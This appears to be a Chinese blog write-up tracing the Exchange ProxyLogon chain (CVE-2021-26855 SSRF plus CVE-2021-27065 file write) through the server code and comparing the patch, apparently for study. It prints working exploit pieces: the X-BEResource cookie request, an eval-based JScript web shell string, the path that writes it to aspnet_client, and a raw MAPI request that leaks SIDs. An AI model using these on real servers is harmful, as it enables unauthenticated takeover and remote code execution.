Exchange ProxyLogon 漏洞分析
前言:Exchange ProxyLogon 漏洞分析笔记
参考文章:https://xz.aliyun.com/t/10098
参考文章:https://mp.weixin.qq.com/s/vz3CVwvUVMG92XFl4c4q3Q
参考文章:https://mp.weixin.qq.com/s/QYByfLZFxacaRpu5Hov7Hw
参考文章:https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/
参考文章:https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442
ProxyLogon漏洞
ProxyLogon中的攻击路径是CVE-2021-26855和CVE-2021-27065
影响版本
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
CVE-2021-26855 SSRF漏洞复现
这边通过一个脚本来发起请求,这个脚本是ProxyLogon漏洞利用中的第一个请求,这边就作为调试来进行学习
-
X-BEResource=localhost~1942062522
-
请求地址为/ecp/random(3).js的情况
def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) random_name = id_generator(3) + ".js" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"]
OnPostAuthorizeRequest中会调用OnPostAuthorizeInternal方法进行鉴权操作
接着在OnPostAuthorizeInternal方法中会看到一个是SelectHandlerForAuthenticatedRequest和SelectHandlerForUnauthenticatedRequest
这边默认的话是走SelectHandlerForUnauthenticatedRequest,也就是没有授权的处理流程
这边会走到BEResourceRequestHandler,该handler是对于资源的处理
首先需要满足BEResourceRequestHandler.CanHandle()
分析CanHandle函数,可以发现返回True需要以下两个条件:
- HTTP请求的Cookie中含有X-BEResource键;
- 请求应是资源型请求,即请求的文件后缀应为规定的文件类型
this.SelectHandlerForUnauthenticatedRequest(context);返回的就是一个BEResourceRequestHandler对象,而这边的BEResourceRequestHandler对象是继承于ProxyRequestHandler的
拿到了BEResourceRequestHandler的handler之后这边会继续处理 ((ProxyRequestHandler)httpHandler).Run(context);
,开始调用run方法
接着调用BeginProcessRequest方法
在ThreadPool.QueueUserWorkItem(new WaitCallback(this.BeginCalculateTargetBackEnd));中会启动一个线程执行BeginCalculateTargetBackEnd方法
BeginCalculateTargetBackEnd调用ProxyRequestHandler.InternalBeginCalculateTargetBackEnd方法,AnchorMailbox对象作为参数
InternalBeginCalculateTargetBackEnd方法中继续调用 anchorMailbox = this.ResolveAnchorMailbox();
,这里开始将anchorMailbox进行赋值
这里继续跟进到GetBEResouceCookie
GetBEResouceCookie方法会获取当前请求包中的X-BEResource的cookie字段
接着走到了new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
首先调用的是BackEndServer.FromString(beresouceCookie),这边跟进去观察,以波浪线~
进行分割,就比如上面我们请求的cookie中的字段为X-BEResource=localhost~1942062522,这种情况下切分就会分为localhost和1942062522
然后继续走到new BackEndServer(array[0], version);,波浪线分割出来的数组,将第0个字段fqdn和version字段进行封装BackEndServer对象中进行返回
经过⼀系列函数调用之后,这边后端服务器的目标FQDN计算完后调用onCalculateTargetBackEndCompleted函数
onCalculateTargetBackEndCompleted函数中继续调用InternalOnCalculateTargetBackEndCompleted函数
紧接着调⽤ BeginValidateBackendServerCacheOrProxyOrRecalculate函数,然后调用BeginProxyRequestOrRecalculate函数,然后进入到BeginProxyRequest函数中,接着就会来到GetTargetBackendServerUrl
这边主要还是观察GetTargetBackendServerUrl,前面的话就是走个流程
在GetTargetBackEndServerUrl函数中会获取要转发给指定后端的地址,这个点比较关键
-
第一个需要关注的点就是这边的
this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion
,还进行了版本号的判断,如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false,这个点比较关键,因为后续会判断ProxyToDownLevel是否为true,true的话就无法绕过身份验证。 -
第二个点也就是触发ssrf的关键点,clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn,这里的BackEndServer.Fqdn就是我们前面通过波浪线来进行控制的变量,最终最为后面请求后端的地址,这个点可控的话那么最终就控制了要请求后端的地址
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy(); clientUrlForProxy.Scheme = Uri.UriSchemeHttps; clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn; clientUrlForProxy.Port = 444; if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) { this.ProxyToDownLevel = true; RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true); clientUrlForProxy.Port = 443; } result = clientUrlForProxy.Uri;
还有个关键的点就是UriBuilder类,当我们执行clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;的时候,这里直接来看UriBuilder类的Host字段是如何进行处理的,下面的图中可以看到set部分的处理是判断传入的Host字段上的第一个字符是否为[并且其中是否含有:,如果都满足就将其用[]包裹起来。
注意:这个[]就会在ssrf中产生阻拦,不过可以进行绕过 就比如 [aaaaaaa@baidu.com?a=],那么这种重定向到baidu.com,并且通过a参数接收]来绕过解决即可,如下所示最终取的就是红框中的部分
还有个绕过的方法就是 name]@baidu.com# 这种形式,就是通过#来将后面的]进行分离,上面两种方法都是可以行
最终调用ProxyRequestHandler.CreateServerRequest(uri)向backend发起请求,这里的uri就是要转发给指定后端的地址
接着调用PrepareServerRequest方法
在调用PrepareServerRequest方法中的if (this.ShouldBlockCurrentOAuthRequest())
,这边就关系到了上面说到的ProxyToDownLevel
这边跟进去可以发现如果ProxyToDownLevel为true的话那么最终if (this.ShouldBlockCurrentOAuthRequest())
就会报错,结果如下图所示
CVE-2021-27065认证后的任意文件写入复现
这里CVE-2021-26855 SSRF漏洞放在后面讲,然后这里先来看下CVE-2021-27065认证后的任意文件写入漏洞,这边实际上手动利用其实也是可以的,如下所示
该漏洞的话需要一个认证后的管理员账号,这里用的管理员账户是administrator,先登录/ecp管理界面,这边访问 https://192.168.75.137/ecp/
然后编辑OAB配置,在外部链接中写⼊shell并保存即可,如下图所示
http://aaa/<script language="JScript" runat="server">function Page_Load() {eval(Request["orange"],"unsafe");}</script>
接着重置,输入的内容为\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx
,如下图所示
然后可以访问C:\inetpub\wwwroot\aspnet_client
目录观察,shell进行被写进去了,如下图所示
ProxyLogon漏洞利用
那么有个问题就是,如果通过CVE-2021-26855 SSRF漏洞来配合CVE-2021-27065进行未授权攻击呢?
上面的测试脚本如下,其实我们关注的就是能够通过访问后缀来资源文件来进行ssrf利用
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"]
整体的利用过程是如下所示
所以我们的攻击思路就是首先需要通过ssrf获取到域用户的cookie,然后通过文件上传来写马
获取邮件服务器的FQDN
首先发送如下请求获取X-FEServer字段,因为X-FEServer字段中包含exchange的主机名,后面需要用到
这里有个不太了解的就是正常访问的话X-FEServer同样也会有,但是不知道为什么需要下面这样的请求,后面知道了来补上
获取LegacyDN
这里需要通过ssrf去访问autodiscover.xml自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。
autodiscover.xml文件中包含有LegacyDN的值,这个LegacyDN后续用来获取SID
利用LegacyDN获取SID
消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在官方文档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。
一个正常的Connect类型请求如图所示,包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。
POST /ecp/target.js HTTP/1.1 Host: 192.168.75.143 Connection: close Cookie: X-BEResource=Administrator@WIN-MG4C5QO445H:444/mapi/emsmdb?MailboxId=c8c9275b-4f46-4d48-9096-f0ec2e4ac8eb@lab.local&a=~1942062522; Content-Type: application/mapi-http X-Requesttype: Connect X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226} X-Clientapplication: Outlook/15.0.4815.1002 X-Requestid: {C715155F-2BE8-44E0-BD34-2960067874C8}:2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Content-Length: 155 /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=37b4b036f9cc409c9aa2e2814bc6c986-Admin\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00
使用SID获取cookie
那么这边如何获取cookie呢,通过SID来获取Cookie的流程是在ProxyLogon中发生,但是最终处理的时候是在RbacModule类中进行,这边来进行学习下
为什么说最终处理的时候是在RbacModule类中进行,因为如果你反编译了ProxyLogonHandler代码之后,其实会看到ProxyLogonHandler只是处理了下StatusCode为241,其他的都不是在这边进行处理的
这边稍微记录下跟过的流程,流程不全,感觉exchange执行流程比较绕,自己都是跟着文章直接打断点来到的,所以就无法记录全流程了,这边直接来到RbacModule中的Application_PostAuthenticateRequest方法中,如下图所示
接着就开始AuthenticationSettings authenticationSettings = new AuthenticationSettings(httpContext);,开始生成凭证,如下所示
跟进去会看到AuthenticationSettings构造函数中会生成RbacSettings对象
这边会判断路径请求,如果为/proxyLogon.ecp后缀的话,那么会生成一个SerializedAccessToken对象
那么继续来看如何生成SerializedAccessToken对象的,这边跟进SerializedAccessToken构造函数中,可以发现是通过创建一个XmlTextReader类然后对传入的数据进行反序列化解析
首先调用的是ReadRootNode方法,接着里面就是ReadRootNodeElement方法
这个ReadRootNodeElement方法跟进去之后会发现读取的就是r
标签
然后就是ReadRootNode中的ReadRootAttributes方法,读取的就是r
标签中的属性,比如at
和ln
SerializedAccessToken在ReadRootNode调用完之后继续会调用ReadSidNodes
会处理s
标签中属性t
的不同值,分别是0,1,2
接着通过将msExchLogonAccount字段和msExchTargetMailbox和msExchTargetMailbox字段值和前面生成的SerializedAccessToken对象作为参数传入EcpLogonInformation.Create方法中
EcpLogonInformation.Create创建一个EcpLogonInformation实例,Create函数首先根据logonMailboxSddlSid生成安全标识符实例,然后根据proxySecurityAccessToken参数生成SerialzedIdentity实例,并最后生成EcpLogonInformation实例。而根据名称可知logonUserIdentity定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。
接着的话就是通过context.Response.Cookies.Add添加上对应的Cookie值,如下所示
到这边AuthenticationSettings authenticationSettings = new AuthenticationSettings(httpContext);完成,其实里面AuthenticationSettings还有一些Session的赋值操作,比如下面图中所示,这边就先跳过了
接着就是httpContext.CheckCanary();调用,如下图所示
继续跟进去,调用context.SendCanary(ref canaryStatus, ref flag);
SendCanary会把相关的凭证msExchEcpCanary进行添加作为cookie中进行返回
有了session和msExchEcpCanary就可以配合ssrf来请求后端的/ecp接口来进行利用了,上面已经讲述了,这边就不再记录了
漏洞修复
我这边比较的是Exchange Server 2016 CU18的前后两个补丁(一个是修复过的,一个是未修复的)
补丁下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=Security Update For Exchange Server 2016 CU18
这边通过比较Microsoft.Exchange.FrontEndHttpProxy.dll可以发现存在变动
这里进行了判断校验,AnchoredRoutingTarget变量的检查,如果还想上面一样通过X-BEResource来进行ssrf利用的话我们会得到503的响应码
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY